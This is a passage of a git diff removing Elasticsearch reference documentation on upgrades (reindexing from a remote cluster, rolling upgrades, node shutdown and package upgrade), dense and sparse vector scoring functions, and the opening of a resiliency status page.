-{ml-docs}/stopping-ml.html[stop all {dfeeds} and close all {ml} jobs].
-
-If you use {es} {security-features}, before you reindex `.security*` internal
-indices it is a good idea to create a temporary superuser account in the `file`
-realm.
-
-. On a single node, add a temporary superuser account to the `file` realm. For
-example, run the <<users-command,elasticsearch-users useradd>> command:
-+
---
-[source,sh]
-----------------------------------------------------------
-bin/elasticsearch-users useradd <user_name> \
--p <password> -r superuser
-----------------------------------------------------------
---
-
-. Use these credentials when you reindex the `.security*` index. That is to say,
-use them to log into {kib} and run the Upgrade Assistant or to call the
-reindex API. You can use your regular administration credentials to
-reindex the other internal indices.
-
-. Delete the temporary superuser account from the file realm. For
-example, run the {ref}/users-command.html[elasticsearch-users userdel] command:
-+
---
-[source,sh]
-----------------------------------------------------------
-bin/elasticsearch-users userdel <user_name>
-----------------------------------------------------------
---
-
-For more information, see <<file-realm>>.
-====
-endif::include-xpack[]
-
-[[reindex-upgrade-remote]]
-=== Reindex from a remote cluster
-
-You can use <<reindex-from-remote,reindex from remote>> to migrate indices from
-your old cluster to a new {version} cluster. This enables you to move to
-{version} from a pre-6.8 cluster without interrupting service.
-
-[WARNING]
-=============================================
-
-{es} provides backwards compatibility support that enables
-indices from the previous major version to be upgraded to the
-current major version. Skipping a major version means that you must
-resolve any backward compatibility issues yourself.
-
-{es} does not support forward compatibility across major versions.
-For example, you cannot reindex from a 7.x cluster into a 6.x cluster.
-
-ifdef::include-xpack[]
-If you use {ml-features} and you're migrating indices from a 6.5 or earlier
-cluster, the job and {dfeed} configuration information are not stored in an
-index. You must recreate your {ml} jobs in the new cluster. If you are migrating
-from a 6.6 or later cluster, it is a good idea to temporarily halt the tasks
-associated with your {ml} jobs and {dfeeds} to prevent inconsistencies between
-different {ml} indices that are reindexed at slightly different times. Use the
-<<ml-set-upgrade-mode,set upgrade mode API>> or 
-{ml-docs}/stopping-ml.html[stop all {dfeeds} and close all {ml} jobs].
-endif::include-xpack[]
-
-=============================================
-
-To migrate your indices:
-
-. Set up a new {version} cluster and add the existing cluster to the
-`reindex.remote.whitelist` in `elasticsearch.yml`.
-+
---
-[source,yaml]
---------------------------------------------------
-reindex.remote.whitelist: oldhost:9200
---------------------------------------------------
-
-[NOTE]
-=============================================
-The new cluster doesn't have to start fully-scaled out. As you migrate
-indices and shift the load to the new cluster, you can add nodes to the new
-cluster and remove nodes from the old one.
-
-=============================================
---
-
-. For each index that you need to migrate to the new cluster:
-
-.. Create an index with the appropriate mappings and settings. Set the
-  `refresh_interval` to `-1` and set `number_of_replicas` to `0` for
-  faster reindexing.
-
-.. Use the <<docs-reindex,`reindex` API>> to pull documents from the
-  remote index into the new {version} index:
-+
---
-[source,console]
---------------------------------------------------
-POST _reindex
-{
-  "source": {
-    "remote": {
-      "host": "http://oldhost:9200",
-      "username": "user",
-      "password": "pass"
-    },
-    "index": "source",
-    "query": {
-      "match": {
-        "test": "data"
-      }
-    }
-  },
-  "dest": {
-    "index": "dest"
-  }
-}
---------------------------------------------------
-// TEST[setup:host]
-// TEST[s/^/PUT source\n/]
-// TEST[s/oldhost:9200",/\${host}"/]
-// TEST[s/"username": "user",//]
-// TEST[s/"password": "pass"//]
-
-If you run the reindex job in the background by setting `wait_for_completion`
-to `false`, the reindex request returns a `task_id` you can use to
-monitor progress of the reindex job with the <<tasks,task API>>:
-`GET _tasks/TASK_ID`.
---
-
-.. When the reindex job completes, set the `refresh_interval` and
-  `number_of_replicas` to the desired values (the default settings are
-  `30s` and `1`).
-
-.. Once reindexing is complete and the status of the new index is `green`,
-  you can delete the old index.
diff --git a/docs/reference/upgrade/remove-xpack.asciidoc b/docs/reference/upgrade/remove-xpack.asciidoc
deleted file mode 100644
index eac8847513f..00000000000
--- a/docs/reference/upgrade/remove-xpack.asciidoc
+++ /dev/null
@@ -1,6 +0,0 @@
-IMPORTANT: If you are upgrading from 6.2 or earlier and use {xpack},
-run `bin/elasticsearch-plugin remove x-pack` to remove the {xpack} plugin before
-you upgrade. The {xpack} functionality is now included in the default distribution
-and is no longer installed separately. The node won't start after upgrade if
-the {xpack} plugin is present. You will need to downgrade, remove the plugin,
-and reapply the upgrade.
diff --git a/docs/reference/upgrade/rolling_upgrade.asciidoc b/docs/reference/upgrade/rolling_upgrade.asciidoc
deleted file mode 100644
index b20cbfef183..00000000000
--- a/docs/reference/upgrade/rolling_upgrade.asciidoc
+++ /dev/null
@@ -1,234 +0,0 @@
-[[rolling-upgrades]]
-== Rolling upgrades
-
-A rolling upgrade allows an {es} cluster to be upgraded one node at
-a time so upgrading does not interrupt service. Running multiple versions of
-{es} in the same cluster beyond the duration of an upgrade is
-not supported, as shards cannot be replicated from upgraded nodes to nodes
-running the older version.
-
-We strongly recommend that when you upgrade you divide your cluster's nodes
-into the following two groups and upgrade the groups in this order:
-
-. Nodes that are not <<master-node,master-eligible>>. You can retrieve a list
-of these nodes with `GET /_nodes/_all,master:false` or by finding all the nodes
-configured with `node.master: false`.
-
-. Master-eligible nodes, which are the remaining nodes. You can retrieve a list
-of these nodes with `GET /_nodes/master:true`.
-
-You may upgrade the nodes within each of these groups in any order.
-
-Upgrading the nodes in this order ensures that the master-ineligible nodes are
-always running a version at least as new as the master-eligible nodes. Newer
-nodes can always join a cluster with an older master, but older nodes cannot
-always join a cluster with a newer master. By upgrading the master-eligible
-nodes last you ensure that all the master-ineligible nodes will be able to join
-the cluster whether the master-eligible nodes have been upgraded or not. If you
-upgrade any master-eligible nodes before the master-ineligible nodes then there
-is a risk that the older nodes will leave the cluster and will not be able to
-rejoin until they have been upgraded.
-
-Rolling upgrades are supported:
-
-* Between minor versions
-* {stack-ref-68}/upgrading-elastic-stack.html[From 5.6 to 6.8]
-* From 6.8 to {version}
-ifeval::[ "{version}" != "{minor-version}.0" ]
-* From any version since {minor-version}.0 to {version}
-endif::[]
-
-Upgrading directly to {version} from 6.7 or earlier requires a
-<<restart-upgrade, full cluster restart>>.
-
-include::preparing_to_upgrade.asciidoc[]
-
-[discrete]
-=== Upgrading your cluster
-
-To perform a rolling upgrade to {version}:
-
-. *Disable shard allocation*.
-+
---
-include::disable-shard-alloc.asciidoc[]
---
-
-. *Stop non-essential indexing and perform a synced flush.* (Optional)
-+
---
-While you can continue indexing during the upgrade, shard recovery
-is much faster if you temporarily stop non-essential indexing and perform a
-<<indices-synced-flush-api, synced-flush>>.
-
-include::synced-flush.asciidoc[]
-
---
-
-. *Temporarily stop the tasks associated with active {ml} jobs and {dfeeds}.* (Optional)
-+
---
-include::close-ml.asciidoc[]
---
-
-. [[upgrade-node]] *Shut down a single node*.
-+
---
-include::shut-down-node.asciidoc[]
---
-
-. *Upgrade the node you shut down.*
-+
---
-include::upgrade-node.asciidoc[]
-include::set-paths-tip.asciidoc[]
-
-[[rolling-upgrades-bootstrapping]]
-NOTE: You should leave `cluster.initial_master_nodes` unset while performing a
-rolling upgrade. Each upgraded node is joining an existing cluster so there is
-no need for <<modules-discovery-bootstrap-cluster,cluster bootstrapping>>. You
-must configure <<built-in-hosts-providers,either `discovery.seed_hosts` or
-`discovery.seed_providers`>> on every node.
---
-
-. *Upgrade any plugins.*
-+
-Use the `elasticsearch-plugin` script to install the upgraded version of each
-installed {es} plugin. All plugins must be upgraded when you upgrade
-a node.
-
-. If you use {es} {security-features} to define realms, verify that your realm
-settings are up-to-date. The format of realm settings changed in version 7.0, in
-particular, the placement of the realm type changed. See
-<<realm-settings,Realm settings>>. 
-
-. *Start the upgraded node.*
-+
---
-
-Start the newly-upgraded node and confirm that it joins the cluster by checking
-the log file or by submitting a `_cat/nodes` request:
-
-[source,console]
---------------------------------------------------
-GET _cat/nodes
---------------------------------------------------
---
-
-. *Reenable shard allocation.*
-+
---
-
-Once the node has joined the cluster, remove the `cluster.routing.allocation.enable`
-setting to enable shard allocation and start using the node:
-
-[source,console]
---------------------------------------------------
-PUT _cluster/settings
-{
-  "persistent": {
-    "cluster.routing.allocation.enable": null
-  }
-}
---------------------------------------------------
---
-
-. *Wait for the node to recover.*
-+
---
-
-Before upgrading the next node, wait for the cluster to finish shard allocation.
-You can check progress by submitting a <<cat-health,`_cat/health`>> request:
-
-[source,console]
---------------------------------------------------
-GET _cat/health?v=true
---------------------------------------------------
-
-Wait for the `status` column to switch to `green`. Once the node is `green`, all
-primary and replica shards have been allocated.
-
-[IMPORTANT]
-====================================================
-During a rolling upgrade, primary shards assigned to a node running the new
-version cannot have their replicas assigned to a node with the old
-version. The new version might have a different data format that is
-not understood by the old version.
-
-If it is not possible to assign the replica shards to another node
-(there is only one upgraded node in the cluster), the replica
-shards remain unassigned and status stays `yellow`.
-
-In this case, you can proceed once there are no initializing or relocating shards
-(check the `init` and `relo` columns).
-
-As soon as another node is upgraded, the replicas can be assigned and the
-status will change to `green`.
-====================================================
-
-Shards that were not <<indices-synced-flush-api,sync-flushed>> might take longer to
-recover.  You can monitor the recovery status of individual shards by
-submitting a <<cat-recovery,`_cat/recovery`>> request:
-
-[source,console]
---------------------------------------------------
-GET _cat/recovery
---------------------------------------------------
-
-If you stopped indexing, it is safe to resume indexing as soon as
-recovery completes.
---
-
-. *Repeat*
-+
---
-
-When  the node has recovered and the cluster is stable, repeat these steps
-for each node that needs to be updated. You can monitor the health of the cluster
-with a <<cat-health,`_cat/health`>> request:
-
-[source,console]
---------------------------------------------------
-GET /_cat/health?v=true
---------------------------------------------------
-
-And check which nodes have been upgraded with a <<cat-nodes,`_cat/nodes`>> request:
-
-[source,console]
---------------------------------------------------
-GET /_cat/nodes?h=ip,name,version&v=true
---------------------------------------------------
-
---
-
-. *Restart machine learning jobs.*
-+
---
-include::open-ml.asciidoc[]
---
-
-
-[IMPORTANT]
-====================================================
-
-During a rolling upgrade, the cluster continues to operate normally. However,
-any new functionality is disabled or operates in a backward compatible mode
-until all nodes in the cluster are upgraded. New functionality becomes
-operational once the upgrade is complete and all nodes are running the new
-version. Once that has happened, there's no way to return to operating in a
-backward compatible mode. Nodes running the previous major version will not be
-allowed to join the fully-updated cluster.
-
-In the unlikely case of a network malfunction during the upgrade process that
-isolates all remaining old nodes from the cluster, you must take the old nodes
-offline and upgrade them to enable them to join the cluster.
-
-If you stop half or more of the master-eligible nodes all at once during the
-upgrade then the cluster will become unavailable, meaning that the upgrade is
-no longer a _rolling_ upgrade. If this happens, you should upgrade and restart
-all of the stopped master-eligible nodes to allow the cluster to form again, as
-if performing a <<restart-upgrade,full-cluster restart upgrade>>. It may also
-be necessary to upgrade all of the remaining old nodes before they can join the
-cluster after it re-forms.
-
-====================================================
diff --git a/docs/reference/upgrade/set-paths-tip.asciidoc b/docs/reference/upgrade/set-paths-tip.asciidoc
deleted file mode 100644
index e7b767fff13..00000000000
--- a/docs/reference/upgrade/set-paths-tip.asciidoc
+++ /dev/null
@@ -1,17 +0,0 @@
-[TIP]
-================================================
-
-When you extract the zip or tarball packages, the `elasticsearch-n.n.n`
-directory contains the {es} `config`, `data`, and `logs` directories.
-
-We recommend moving these directories out of the {es} directory
-so that there is no chance of deleting them when you upgrade {es}.
-To specify the new locations, use the `ES_PATH_CONF` environment
-variable and the `path.data` and `path.logs` settings. For more information,
-see <<important-settings,Important {es} configuration>>.
-
-The <<deb,Debian>> and <<rpm,RPM>> packages place these directories in the
-appropriate place for each operating system. In production, we recommend
-installing using the deb or rpm package.
-
-================================================
diff --git a/docs/reference/upgrade/shut-down-node.asciidoc b/docs/reference/upgrade/shut-down-node.asciidoc
deleted file mode 100644
index d076f8dbfc4..00000000000
--- a/docs/reference/upgrade/shut-down-node.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-* If you are running {es} with `systemd`:
-+
-[source,sh]
---------------------------------------------------
-sudo systemctl stop elasticsearch.service
---------------------------------------------------
-
-* If you are running {es} with SysV `init`:
-+
-[source,sh]
---------------------------------------------------
-sudo -i service elasticsearch stop
---------------------------------------------------
-
-* If you are running {es} as a daemon:
-+
-[source,sh]
---------------------------------------------------
-kill $(cat pid)
---------------------------------------------------
diff --git a/docs/reference/upgrade/synced-flush.asciidoc b/docs/reference/upgrade/synced-flush.asciidoc
deleted file mode 100644
index a67c171f998..00000000000
--- a/docs/reference/upgrade/synced-flush.asciidoc
+++ /dev/null
@@ -1,14 +0,0 @@
-
-[source,console]
---------------------------------------------------
-POST _flush/synced
---------------------------------------------------
-// TEST[skip: will fail as synced flush is deprecated]
-
-When you perform a synced flush, check the response to make sure there are
-no failures. Synced flush operations that fail due to pending indexing
-operations are listed in the response body, although the request itself
-still returns a 200 OK status. If there are failures, reissue the request.
-
-Note that synced flush is deprecated and will be removed in 8.0. A flush
-has the same effect as a synced flush on Elasticsearch 7.6 or later.
diff --git a/docs/reference/upgrade/upgrade-node.asciidoc b/docs/reference/upgrade/upgrade-node.asciidoc
deleted file mode 100644
index c445c03a38a..00000000000
--- a/docs/reference/upgrade/upgrade-node.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-To upgrade using a <<deb,Debian>> or <<rpm,RPM>> package:
-
-*   Use `rpm` or `dpkg` to install the new package.  All files are
-    installed in the appropriate location for the operating system
-    and {es} config files are not overwritten.
-
-To upgrade using a zip or compressed tarball:
-
-.. Extract the zip or tarball to a _new_ directory. This is critical if you
-   are not using external `config` and `data` directories.
-
-.. Set the `ES_PATH_CONF` environment variable to specify the location of
-   your external `config` directory and `jvm.options` file. If you are not
-   using an external `config` directory, copy your old configuration
-   over to the new installation.
-
-.. Set `path.data` in `config/elasticsearch.yml` to point to your external
-   data directory. If you are not using an external `data` directory, copy
-   your old data directory over to the new installation. +
-+
-IMPORTANT: If you use {monitor-features}, re-use the data directory when you upgrade
-{es}. Monitoring identifies unique {es} nodes by using the persistent UUID, which
-is stored in the data directory.
-
-
-.. Set `path.logs` in `config/elasticsearch.yml` to point to the location
-   where you want to store your logs. If you do not specify this setting,
-   logs are stored in the directory you extracted the archive to.
diff --git a/docs/reference/vectors/vector-functions.asciidoc b/docs/reference/vectors/vector-functions.asciidoc
deleted file mode 100644
index 4fb197f8030..00000000000
--- a/docs/reference/vectors/vector-functions.asciidoc
+++ /dev/null
@@ -1,369 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[vector-functions]]
-===== Functions for vector fields
-
-NOTE: During vector functions' calculation, all matched documents are
-linearly scanned. Thus, expect the query time grow linearly
-with the number of matched documents. For this reason, we recommend
-to limit the number of matched documents with a `query` parameter.
-
-====== `dense_vector` functions
-
-Let's create an index with a `dense_vector` mapping and index a couple
-of documents into it.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_dense_vector": {
-        "type": "dense_vector",
-        "dims": 3
-      },
-      "status" : {
-        "type" : "keyword"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "my_dense_vector": [0.5, 10, 6],
-  "status" : "published"
-}
-
-PUT my-index-000001/_doc/2
-{
-  "my_dense_vector": [-0.5, 10, 10],
-  "status" : "published"
-}
-
-POST my-index-000001/_refresh
-
---------------------------------------------------
-// TESTSETUP
-
-The `cosineSimilarity` function calculates the measure of
-cosine similarity between a given query vector and document vectors.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published" <1>
-            }
-          }
-        }
-      },
-      "script": {
-        "source": "cosineSimilarity(params.query_vector, 'my_dense_vector') + 1.0", <2>
-        "params": {
-          "query_vector": [4, 3.4, -0.2]  <3>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> To restrict the number of documents on which script score calculation is applied, provide a filter.
-<2> The script adds 1.0 to the cosine similarity to prevent the score from being negative.
-<3> To take advantage of the script optimizations, provide a query vector as a script parameter.
-
-NOTE: If a document's dense vector field has a number of dimensions
-different from the query's vector, an error will be thrown.
-
-The `dotProduct` function calculates the measure of
-dot product between a given query vector and document vectors.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published"
-            }
-          }
-        }
-      },
-      "script": {
-        "source": """
-          double value = dotProduct(params.query_vector, 'my_dense_vector');
-          return sigmoid(1, Math.E, -value); <1>
-        """,
-        "params": {
-          "query_vector": [4, 3.4, -0.2]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Using the standard sigmoid function prevents scores from being negative.
-
-The `l1norm` function calculates L^1^ distance
-(Manhattan distance) between a given query vector and
-document vectors.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published"
-            }
-          }
-        }
-      },
-      "script": {
-        "source": "1 / (1 + l1norm(params.queryVector, 'my_dense_vector'))", <1>
-        "params": {
-          "queryVector": [4, 3.4, -0.2]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Unlike `cosineSimilarity` that represent similarity, `l1norm` and
-`l2norm` shown below represent distances or differences. This means, that
-the more similar the vectors are, the lower the scores will be that are
-produced by the `l1norm` and `l2norm` functions.
-Thus, as we need more similar vectors to score higher,
-we reversed the output from `l1norm` and `l2norm`. Also, to avoid
-division by 0 when a document vector matches the query exactly,
-we added `1` in the denominator.
-
-The `l2norm` function calculates L^2^ distance
-(Euclidean distance) between a given query vector and
-document vectors.
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published"
-            }
-          }
-        }
-      },
-      "script": {
-        "source": "1 / (1 + l2norm(params.queryVector, 'my_dense_vector'))",
-        "params": {
-          "queryVector": [4, 3.4, -0.2]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-NOTE: If a document doesn't have a value for a vector field on which
-a vector function is executed, an error will be thrown.
-
-You can check if a document has a value for the field `my_vector` by
-`doc['my_vector'].size() == 0`. Your overall script can look like this:
-
-[source,js]
---------------------------------------------------
-"source": "doc['my_vector'].size() == 0 ? 0 : cosineSimilarity(params.queryVector, 'my_vector')"
---------------------------------------------------
-// NOTCONSOLE
-
-====== `sparse_vector` functions
-
-deprecated[7.6, The `sparse_vector` type is deprecated and will be removed in 8.0.]
-
-Let's create an index with a `sparse_vector` mapping and index a couple
-of documents into it.
-
-[source,console]
---------------------------------------------------
-PUT my_sparse_index
-{
-  "mappings": {
-    "properties": {
-      "my_sparse_vector": {
-        "type": "sparse_vector"
-      },
-      "status" : {
-        "type" : "keyword"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:The [sparse_vector] field type is deprecated and will be removed in 8.0.]
-
-[source,console]
---------------------------------------------------
-PUT my_sparse_index/_doc/1
-{
-  "my_sparse_vector": {"2": 1.5, "15" : 2, "50": -1.1, "4545": 1.1},
-  "status" : "published"
-}
-
-PUT my_sparse_index/_doc/2
-{
-  "my_sparse_vector": {"2": 2.5, "10" : 1.3, "55": -2.3, "113": 1.6},
-  "status" : "published"
-}
-
-POST my_sparse_index/_refresh
---------------------------------------------------
-// TEST[continued]
-
-The `cosineSimilaritySparse` function calculates cosine similarity
-between a given query vector and document vectors.
-
-[source,console]
---------------------------------------------------
-GET my_sparse_index/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published"
-            }
-          }
-        }
-      },
-      "script": {
-        "source": "cosineSimilaritySparse(params.query_vector, 'my_sparse_vector') + 1.0",
-        "params": {
-          "query_vector": {"2": 0.5, "10" : 111.3, "50": -1.3, "113": 14.8, "4545": 156.0}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[warning:The [sparse_vector] field type is deprecated and will be removed in 8.0.]
-
-The `dotProductSparse` function calculates dot product
-between a given query vector and document vectors.
-
-[source,console]
---------------------------------------------------
-GET my_sparse_index/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published"
-            }
-          }
-        }
-      },
-      "script": {
-        "source": """
-          double value = dotProductSparse(params.query_vector, 'my_sparse_vector');
-          return sigmoid(1, Math.E, -value);
-        """,
-         "params": {
-          "query_vector": {"2": 0.5, "10" : 111.3, "50": -1.3, "113": 14.8, "4545": 156.0}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[warning:The [sparse_vector] field type is deprecated and will be removed in 8.0.]
-
-The `l1normSparse` function calculates L^1^ distance
-between a given query vector and document vectors.
-
-[source,console]
---------------------------------------------------
-GET my_sparse_index/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published"
-            }
-          }
-        }
-      },
-      "script": {
-        "source": "1 / (1 + l1normSparse(params.queryVector, 'my_sparse_vector'))",
-        "params": {
-          "queryVector": {"2": 0.5, "10" : 111.3, "50": -1.3, "113": 14.8, "4545": 156.0}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[warning:The [sparse_vector] field type is deprecated and will be removed in 8.0.]
-
-The `l2normSparse` function calculates L^2^ distance
-between a given query vector and document vectors.
-
-[source,console]
---------------------------------------------------
-GET my_sparse_index/_search
-{
-  "query": {
-    "script_score": {
-      "query" : {
-        "bool" : {
-          "filter" : {
-            "term" : {
-              "status" : "published"
-            }
-          }
-        }
-      },
-      "script": {
-        "source": "1 / (1 + l2normSparse(params.queryVector, 'my_sparse_vector'))",
-        "params": {
-          "queryVector": {"2": 0.5, "10" : 111.3, "50": -1.3, "113": 14.8, "4545": 156.0}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[warning:The [sparse_vector] field type is deprecated and will be removed in 8.0.]
diff --git a/docs/resiliency/index.asciidoc b/docs/resiliency/index.asciidoc
deleted file mode 100644
index 3809b4ff40c..00000000000
--- a/docs/resiliency/index.asciidoc
+++ /dev/null
@@ -1,639 +0,0 @@
-= Elasticsearch Resiliency Status
-
-:JIRA: https://issues.apache.org/jira/browse/LUCENE-
-:GIT:  https://github.com/elastic/elasticsearch/issues/
-
-== Overview
-
-The team at Elasticsearch is committed to continuously improving both
-Elasticsearch and Apache Lucene to protect your data.  As with any distributed
-system, Elasticsearch is complex and has many moving parts, each of which can
-encounter edge cases that require proper handling.  Our resiliency project is
-an ongoing effort to find and fix these edge cases. If you want to keep up
-with all this project on GitHub, see our issues list under the tag
-https://github.com/elastic/elasticsearch/issues?q=label%3Aresiliency[resiliency].
-
-While GitHub is great for sharing our work, it can be difficult to get an
-overview of the current state of affairs and the previous work that has been
-done from an issues list. This page provides an overview of all the
-resiliency-related issues that we are aware of, improvements that have already
-been made and current in-progress work. We’ve also listed some historical
-improvements throughout this page to provide the full context.
-
-If you’re interested in more on how we approach ensuring resiliency in
-Elasticsearch, you may be interested in Igor Motov’s recent talk
-https://www.elastic.co/videos/improving-elasticsearch-resiliency[Improving Elasticsearch Resiliency].
-
-You may also be interested in our blog post
-https://www.elastic.co/blog/resiliency-elasticsearch[Resiliency in Elasticsearch],
-which details our thought processes when addressing resiliency in both
-Elasticsearch and the work our developers do upstream in Apache Lucene.
-
-== Data Store Recommendations
-
-Some customers use Elasticsearch as a primary datastore, some set-up
-comprehensive back-up solutions using features such as our Snapshot and
-Restore, while others use Elasticsearch in conjunction with a data storage
-system like Hadoop or even flat files. Elasticsearch can be used for so many
-different use cases which is why we have created this page to make sure you
-are fully informed when you are architecting your system.
-
-== Work in Progress
-
-[discrete]
-=== Known Unknowns (STATUS: ONGOING)
-
-We consider this topic to be the most important in our quest for
-resiliency. We put a tremendous amount of effort into testing
-Elasticsearch to simulate failures and randomize configuration to
-produce extreme conditions. In addition, our users are an important
-source of information on unexpected edge cases and your bug reports
-help us make fixes that ensure that our system continues to be
-resilient.
-
-If you encounter an issue, https://github.com/elastic/elasticsearch/issues[please report it]!
-
-We are committed to tracking down and fixing all the issues that are posted.
-
-[discrete]
-==== Jepsen Tests
-
-The Jepsen platform is specifically designed to test distributed systems. It is not a single test and is regularly adapted
-to create new scenarios. We have currently ported all published Jepsen scenarios that deal with loss of acknowledged writes to our testing
-framework. As the Jepsen tests evolve, we will continue porting new scenarios that are not covered yet. We are committed to investigating
-all new scenarios and will report issues that we find on this page and in our GitHub repository.
-
-[discrete]
-=== Better request retry mechanism when nodes are disconnected (STATUS: ONGOING)
-
-If the node holding a primary shard is disconnected for whatever reason, the
-coordinating node retries the request on the same or a new primary shard.  In
-certain rare conditions, where the node disconnects and immediately
-reconnects, it is possible that the original request has already been
-successfully applied but has not been reported, resulting in duplicate
-requests. This is particularly true when retrying bulk requests, where some
-actions may  have completed and some may not have.
-
-An optimization which disabled the existence check for documents indexed with
-auto-generated IDs could result in the creation of duplicate documents. This
-optimization has been removed. {GIT}9468[#9468] (STATUS: DONE, v1.5.0)
-
-Further issues remain with the retry mechanism:
-
-* Unversioned index requests could increment the `_version` twice,
-  obscuring a `created` status.
-* Versioned index requests could return a conflict exception, even
-  though they were applied correctly.
-* Update requests could be applied twice.
-
-See {GIT}9967[#9967]. (STATUS: ONGOING)
-
-[discrete]
-=== OOM resiliency (STATUS: ONGOING)
-
-The family of circuit breakers has greatly reduced the occurrence of OOM
-exceptions, but it is still possible to cause a node to run out of heap
-space.  The following issues have been identified:
-
-* Set a hard limit on `from`/`size` parameters {GIT}9311[#9311]. (STATUS: DONE, v2.1.0)
-* Prevent combinatorial explosion in aggregations from causing OOM {GIT}8081[#8081]. (STATUS: DONE, v5.0.0)
-* Add the byte size of each hit to the request circuit breaker {GIT}9310[#9310]. (STATUS: ONGOING)
-* Limit the size of individual requests and also add a circuit breaker for the total memory used by in-flight request objects {GIT}16011[#16011]. (STATUS: DONE, v5.0.0)
-
-Other safeguards are tracked in the meta-issue {GIT}11511[#11511].
-
-[discrete]
-=== The _version field may not uniquely identify document content during a network partition (STATUS: ONGOING)
-
-When a primary has been partitioned away from the cluster there is a short period of time until it detects this. During that time it will continue
-indexing writes locally, thereby updating document versions. When it tries to replicate the operation, however, it will discover that it is
-partitioned away. It won't acknowledge the write and will wait until the partition is resolved to negotiate with the master on how to proceed.
-The master will decide to either fail any replicas which failed to index the operations on the primary or tell the primary that it has to
-step down because a new primary has been chosen in the meantime. Since the old primary has already written documents, clients may already have read from
-the old primary before it shuts itself down. The version numbers of these reads may not be unique if the new primary has already accepted
-writes for the same document (see {GIT}19269[#19269]).
-
-We are currently implementing Sequence numbers {GIT}10708[#10708] which better track primary changes. Sequence numbers thus provide a basis
-for uniquely identifying writes even in the presence of network partitions and will replace `_version` in operations that require this.
-
-[discrete]
-=== Relocating shards omitted by reporting infrastructure (STATUS: ONGOING)
-
-Indices stats and indices segments requests reach out to all nodes that have shards of that index. Shards that have relocated from a node
-while the stats request arrives will make that part of the request fail and are just ignored in the overall stats result. {GIT}13719[#13719]
-
-[discrete]
-=== Documentation of guarantees and handling of failures (STATUS: ONGOING)
-
-This status page is a start, but we can do a better job of explicitly documenting the processes at work in Elasticsearch and what happens
-in the case of each type of failure. The plan is to have a test case that validates each behavior under simulated conditions. Every test
- will document the expected results, the associated test code, and an explicit PASS or FAIL status for each simulated case.
-
-[discrete]
-=== Run Jepsen (STATUS: ONGOING)
-
-We have ported the known scenarios in the Jepsen blogs that check loss of acknowledged writes to our testing infrastructure.
-The new tests are run continuously in our testing farm and are passing. We are also working on running Jepsen independently to verify
-that no failures are found.
-
-[discrete]
-=== Replicas can fall out of sync when a primary shard fails (STATUS: ONGOING)
-
-When a primary shard fails, a replica shard will be promoted to be the
-primary shard. If there is more than one replica shard, it is possible
-for the remaining replicas to be out of sync with the new primary
-shard. This is caused by operations that were in-flight when the primary
-shard failed and may not have been processed on all replica
-shards. Currently, the discrepancies are not repaired on primary
-promotion but instead would be repaired if replica shards are relocated
-(e.g., from hot to cold nodes); this does mean that the length of time
-which replicas can be out of sync with the primary shard is
-unbounded. Sequence numbers {GIT}10708[#10708] will provide a mechanism
-for syncing the remaining replicas with the newly-promoted primary
-shard.
-
-== Completed
-
-[discrete]
-=== Repeated network partitions can cause cluster state updates to be lost (STATUS: DONE, v7.0.0)
-
-During a networking partition, cluster state updates (like mapping changes or
-shard assignments) are committed if a majority of the master-eligible nodes
-received the update correctly. This means that the current master has access to
-enough nodes in the cluster to continue to operate correctly. When the network
-partition heals, the isolated nodes catch up with the current state and receive
-the previously missed changes. However, if a second partition happens while the
-cluster is still recovering from the previous one *and* the old master falls on
-the minority side, it may be that a new master is elected which has not yet
-catch up. If that happens, cluster state updates can be lost.
-
-This problem is mostly fixed by {GIT}20384[#20384] (v5.0.0), which takes
-committed cluster state updates into account during master election. This
-considerably reduces the chance of this rare problem occurring but does not
-fully mitigate it. If the second partition happens concurrently with a cluster
-state update and blocks the cluster state commit message from reaching a
-majority of nodes, it may be that the in flight update will be lost. If the
-now-isolated master can still acknowledge the cluster state update to the client
-this will amount to the loss of an acknowledged change.
-
-Fixing this last scenario was one of the goals of {GIT}32006[#32006] and its
-sub-issues. See particularly {GIT}32171[#32171] and
-https://github.com/elastic/elasticsearch-formal-models/blob/master/ZenWithTerms/tla/ZenWithTerms.tla[the
-TLA+ formal model] used to verify these changes.
-
-[discrete]
-=== Divergence between primary and replica shard copies when documents deleted (STATUS: DONE, V6.3.0)
-
-Certain combinations of delays in performing activities related to the deletion
-of a document could result in the operations on that document being interpreted
-differently on different shard copies. This could lead to a divergence in the
-number of documents held in each copy.
-
-Deleting an unacknowledged document that was concurrently being inserted using
-an auto-generated ID was erroneously sensitive to the order in which those
-operations were processed on each shard copy. Thanks to the introduction of
